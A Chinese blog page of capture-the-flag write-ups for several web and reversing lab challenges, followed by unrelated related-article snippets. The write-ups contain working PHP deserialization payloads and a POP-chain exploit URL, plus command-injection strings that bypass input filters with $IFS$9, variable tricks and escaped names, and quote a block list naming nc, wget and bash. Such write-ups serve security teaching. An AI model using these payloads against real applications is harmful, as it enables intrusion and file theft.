[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

上面代码,使用get上传了三个参数,在text者用力恒等于,然后就输出,接着第二个参数中出现flag就输出not now,接着第三个参数是反序了一下输出。

?text=data://text/plain,welcome to the zjctf

发现有回显

解码一下b64:

去反序列化

得到

&password=O%3A4%3A"Flag"%3A1%3A{s%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B}

然后输入:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A{s%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B}

右击查看源代码:

[SWPUCTF 2021 新生赛]pop

w44m类里面的Getflag函数可以用来读取flag,因此就将它作为这条链子的尾部。

$this->w00m->{$this->w22m}();会调用函数,所以只需要给$w00m赋一个w44m类,然后再给w22m赋一个Getflag就能成功调用该函数。

上面写过__toString()这个方法会在一个对象被当作字符串时被调用,于是我们就能看到下面w22m这个类里面的echo函数。我们只要给w00m赋一个w33m类,就能调用。

w22m类里面的变量w00m=w33m类,w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数,并且w44m类的admin和password变量为w44m和08067。

<?phpclass w22m{public $w00m;
public function __construct(){$this->w00m=new w33m();  }
}
//因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类
class w33m{public $w00m;public $w22m='Getflag';public function __construct(){$this->w00m=new w44m();  }
}
//w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数
class w44m{private $admin = 'w44m';protected $passwd = '08067';
}
//并且w44m类的admin和password变量为w44m和08067。
$j17 = new w22m();
echo urlencode(serialize($j17));
?>

php运行一下

在解一下URL编码

输入:http://node7.anna.nssctf.cn:22467/?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

NSSCTF{35abf717-9b1f-49e6-a67a-33c64f9345ed}

[GXYCTF 2019]Ping Ping Ping

输入127.0.0.1的时候发现返回的是icmp的响应包,可以判断是ping

但是过滤了很多东西,空格和这些标识符,那我们用引号试试

127.0.0.1;ls可以查看出来

里面显示了flag和index我们都试试发现都不能查看

  • $IFS本身是一个变量,$9是位置参数(在一个脚本或函数中,$1 - $9可以代表传递给脚本或函数的参数)。当它们组合在一起时,比如在eval或者其他动态执行命令的场景下,可能会被误解。
  • 例如,如果有一个命令检查脚本,它会过滤掉;等危险字符,但是没有考虑$IFS的特殊用法。攻击者可以构造一个类似command$IFS$9ls的字符串。当这个字符串在某些处理不当的eval环境中执行时,$IFS可能会导致命令分隔,使得ls命令被执行,从而绕过了对;等直接分隔符的检查。

127.0.0.1;cat$IFS$9index.php

用$IFS$9绕过,先看看index.php里面源码写了啥 ,发现没有回显,查看一下源代码看看

/.*f.*l.*a.g./只要匹配到这四个字符组合在一起就显示fxck your flag!了

我们用赋值来进行绕过

127.0.0.1;q=g;cat$IFS$9fla$q.php

NSSCTF{475754b5-fc4d-4ea0-9467-31233c981ddd}

[SWPUCTF 2021 新生赛]finalrce

有一个GET请求,上传一个url赋值给$url 然后过滤/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i, 要是出现就输出:Sorry,you can't use this 反之就输出:Can you see anything?

exec()函数主要用于执行一个外部程序。

可以使用exec('ls -l')来列出当前目录下的文件和目录的详细信息。在 Windows 系统中,你可以使用exec('dir')来达到类似的效果(列出当前目录下的文件和文件夹) 。

先随便上传一个文件, ?url=l\s / | tee a.txt

tee: 利用这个命令让执行后的内容存到一个文件下然后去访问这个文件,从而实现间接的命令执行

然后直接访问a.txt

发现里面有flllllaaaaaaggggggg

这里绕过了cat可以使用ca\t nl sort tac tail等代替读取,另外因为过滤la所以是flllll\aaaaaaggggggg

/?url=tail /flllll\aaaaaaggggggg | tee a.txt

发现没有回显

直接访问a.txt试试

NSSCTF{6d36c041-76b9-48da-ab70-6efcaf4cc984}

[SWPUCTF 2021 新生赛]简简单单的逻辑

给了我们一个代码,来分析一下:

key = (list[i]>>4)+((list[i] & 0xf)<<4)

这是一个位运算操作,它实际上是在交换一个字节的高4位和低4位。让我们分解一下:

  • list[i]>>4: 右移4位,获取原数字的高4位 例如:10110011 >> 4 = 00001011
  • list[i] & 0xf: 与0xf(00001111)进行与运算,获取原数字的低4位 例如:10110011 & 00001111 = 00000011
  • (list[i] & 0xf)<<4: 将获取到的低4位左移4位,变成高4位的位置 例如:00000011 << 4 = 00110000
  • 最后将两部分相加,实现了高4位和低4位的交换

举个例子:

如果 list[i] = 0xAB (十六进制) = 10101011 (二进制) ,高4位是 1010 ,低4位是 1011 ,交换后变成 10111010

这种操作在密码学中经常用于简单的混淆。在这个程序中,它是解密算法的一部分,用于生成一个密钥,然后与flag进行异或运算。

result += str(hex(ord(flag[i])^key))[2:].zfill(2)

让我们一步步拆解:

  • ord(flag[i]): ,ord() 函数将字符转换为其ASCII/Unicode值 例如:ord('A') = 65
  • ord(flag[i])^key: , ^ 是异或运算符,将字符的ASCII值与之前计算的key进行异或运算
  • hex(): ,将数字转换为十六进制字符串,例如:hex(65) = '0x41'
  • str(hex(...)[2:]): ,[2:] 是切片操作,去掉十六进制字符串前面的 '0x',例如:'0x41' 变成 '41'
  • .zfill(2): ,用零填充字符串到指定长度(这里是2),如果结果只有一位数,在前面补0,例如:'5' 变成 '05'

我们给反过来解析就能得到flag

flag += chr(int(result[2 * i:2 * i + 2], 16) ^ key)

这实际上是上一个加密过程的逆运算(解密过程),让我们一步步拆解:

  • result[2 * i:2 * i + 2]: ,从result字符串中每次取2个字符,因为加密时每个字符被转换成2位十六进制数
  • 例如:如果result='41424344',当i=0时取'41',i=1时取'42'
  • int(x, 16): ,将十六进制字符串转换为十进制整数,第二个参数16表示输入的是十六进制
  • 例如:int('41', 16) = 65
  • int(...) ^ key: ,将转换后的数字与key进行异或运算,异或运算的一个特性是:A^B^B = A ,所以这里是在还原原始值
  • chr(): ,将ASCII/Unicode值转换回字符
  • 例如:chr(65) = 'A'

NSSCTF{EZEZ_RERE}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/478279.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JSONCPP 数据解析与序列化

常用类接口 Json::Value 类 用于存储 JSON 数据的核心类。它支持将数据解析为对象、数组或基本类型&#xff08;如字符串、数值等&#xff09; 赋值操作符&#xff1a;Value& operator(Value other); 用于将一个 JSON 值赋给另一个 JSON 值 Json::Value value; value &…

40分钟学 Go 语言高并发:【实战】并发安全的配置管理器(功能扩展)

【实战】并发安全的配置管理器&#xff08;功能扩展&#xff09; 一、扩展思考 分布式配置中心 实现配置的集中管理支持多节点配置同步实现配置的版本一致性 配置加密 敏感配置的加密存储配置的安全传输访问权限控制 配置格式支持 支持YAML、TOML等多种格式配置格式自动…

ChatGPT 桌面版发布了,如何安装?

本章教程教大家如何进行安装。 一、下载安装包 官网地址地址&#xff1a;https://openai.com/chatgpt/desktop/ 支持Windows和MacOS操作系统 二、安装步骤 Windows用户下载之后&#xff0c;会有一个exe安装包&#xff0c;点击运行安装即可。 注意事项&#xff0c;如果Windows操…

【Electron学习笔记(二)】基于Electron开发应用程序

基于Electron开发本地应用程序 基于Electron开发本地应用程序前言正文1、创建 pages 目录2、创建 index.html 文件3 、创建 html.css 文件4 、main.js里引入页面5 、运行 start 命令6 、启用开发者模式7 、解决内容安全策略8、完善窗口行为9、配置自动重启&#xff0c;保存后自…

力扣--LCR 154.复杂链表的复制

题目 请实现 copyRandomList 函数&#xff0c;复制一个复杂链表。在复杂链表中&#xff0c;每个节点除了有一个 next 指针指向下一个节点&#xff0c;还有一个 random 指针指向链表中的任意节点或者 null。 提示&#xff1a; -10000 < Node.val < 10000 Node.random 为…

windows server 2019 启动 nginx 报错

环境 &#xff1a;windows server 2019 &#xff0c;nginx-1.19.7 背景&#xff1a; 自己经常用这个 nginx 包作为 web 服务器。今天发现 部署到 server 2019 上直接报错了。这可是原生的包&#xff0c;我啥也没改&#xff0c;怎么可能报错。而且之前在 其他服务器用都没问题…

在ASP.NET Core WebAPI 中使用轻量级的方式实现一个支持持久化的缓存组件

前言 在 WebAPI 开发中&#xff0c;缓存是一种常用的优化手段。Redis 是广泛使用的缓存解决方案&#xff0c;但在某些场景下&#xff0c;我们可能不希望引入第三方依赖&#xff0c;而是希望使用轻量级的方式实现一个支持持久化的缓存组件&#xff0c;满足以下需求&#xff1a;…

【区块链】深入理解椭圆曲线密码学(ECC)

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 深入理解椭圆曲线密码学(ECC)1. 概述2. 椭圆曲线的数学基础2.1 基本定义2.2 有限…

内存不足引发C++程序闪退崩溃问题的分析与总结

目录 1、内存不足一般出现在32位程序中 2、内存不足时会导致malloc或new申请内存失败 2.1、malloc申请内存失败&#xff0c;返回NULL 2.2、new申请内存失败&#xff0c;抛出异常 3、内存不足项目实战案例中相关细节与要点说明 3.1、内存不足导致malloc申请内存失败&#…

设计模式之代理模式(模拟mybatis-spring中定义DAO接口,使用代理类方式操作数据库原理实现场景)

前言&#xff1a; 写写CRUD&#xff0c;不会的百度一下&#xff0c;就完事了&#xff0c;总觉得别人问的东西像在造火箭一样。但在高体量、高并发的业务场景下&#xff0c;每一次的压测优化&#xff0c;性能提升&#xff0c;都像在研究一道数学题一样&#xff0c;反复的锤炼&am…

Java项目实战II基于微信小程序的图书馆自习室座位预约平台(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。 一、前言 在知识爆炸的时代&#xff0c;图书馆和…

【机器学习】——卷积与循环的交响曲:神经网络模型在现代科技中的协奏

&#x1f3bc;个人主页&#xff1a;【Y小夜】 &#x1f60e;作者简介&#xff1a;一位双非学校的大二学生&#xff0c;编程爱好者&#xff0c; 专注于基础和实战分享&#xff0c;欢迎私信咨询&#xff01; &#x1f386;入门专栏&#xff1a;&#x1f387;【MySQL&#xff0…

智慧社区管理系统平台提升物业运营效率与用户体验

内容概要 智慧社区管理系统平台是一个集成了多项功能的综合性解决方案&#xff0c;旨在通过先进的技术手段提升物业管理的效率和居民的生活质量。该平台不仅关注物业运营的各个方面&#xff0c;还强调用户体验的重要性。随着科技的发展&#xff0c;社区管理方式正发生着翻天覆…

使用脚本实现hadoop-yarn-flink自动化部署

本文使用脚本实现hadoop-yarn-flink的快速部署&#xff08;单机部署&#xff09;。 环境&#xff1a;①操作系统&#xff1a;CentOS 7.6&#xff1b;②CPU&#xff1a;x86&#xff1b;③用户&#xff1a;root。 1.前置条件 把下面的的脚本保存到“pre-install.sh”文件&#x…

【vue】vue中插槽slot的用法详解

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

爬虫获取的数据如何用于市场分析?

在数字化时代&#xff0c;数据已成为企业决策的重要资产。通过爬虫技术获取的数据可以为市场分析提供丰富的原材料。本文将探讨如何利用Python爬虫获取的数据进行市场分析&#xff0c;并提供代码示例。 1. 数据收集 首先&#xff0c;我们需要通过爬虫收集相关数据。以电商行业…

Linux高阶——1123—服务器基础服务器设备服务器基础能力

目录 1、服务器基础 1、服务器基本概述 2、服务器设计之初解决的问题 网络穿透 网络数据设备间的收发 3、服务器的类型C/S、B/S 2、服务器设备 将自己的服务器软件部署上线 3、代理服务器负载均衡&#xff0c;以及地址绑定方式 4、服务器的基础能力 1、服务器基础 1…

DICOM图像深入解析:为何部分DR/CR图像默认显示为反色?

概述 在数字医学影像处理中,CR(Computed Radiography,计算机放射摄影)和DR(Digital Radiography,数字放射摄影)技术广泛应用于医疗影像获取与分析。然而,临床实践中常常遇到这样一个问题:部分CR/DR图像在默认打开时呈现为反色(即负片效果),需手动反色后才能正常阅片…

公网弹性绑定负载均衡收费吗?

公网弹性绑定负载均衡收费吗&#xff1f;公网弹性绑定负载均衡&#xff08;ELB&#xff09;是收费的。费用主要包括公网IP费、带宽费和负载均衡实例费。其中&#xff0c;带宽费可以按固定带宽或实际使用流量计费&#xff0c;而实例费则根据类型、规格和使用时长来定价。此外&am…

【ArcGISPro】根据yaml构建原始Pro的conda环境

使用场景 我们不小心把原始arcgispro-py3的conda环境破坏了,我们就可以使用以下方法进行修复 查找文件 在arcgis目录下找到yaml文件 如果没找到请复制以下内容到新的yaml文件 channels: - esri - defaults dependencies: - anyio=4.2.0=py311haa95532_0 - appdirs=1.4.4=p…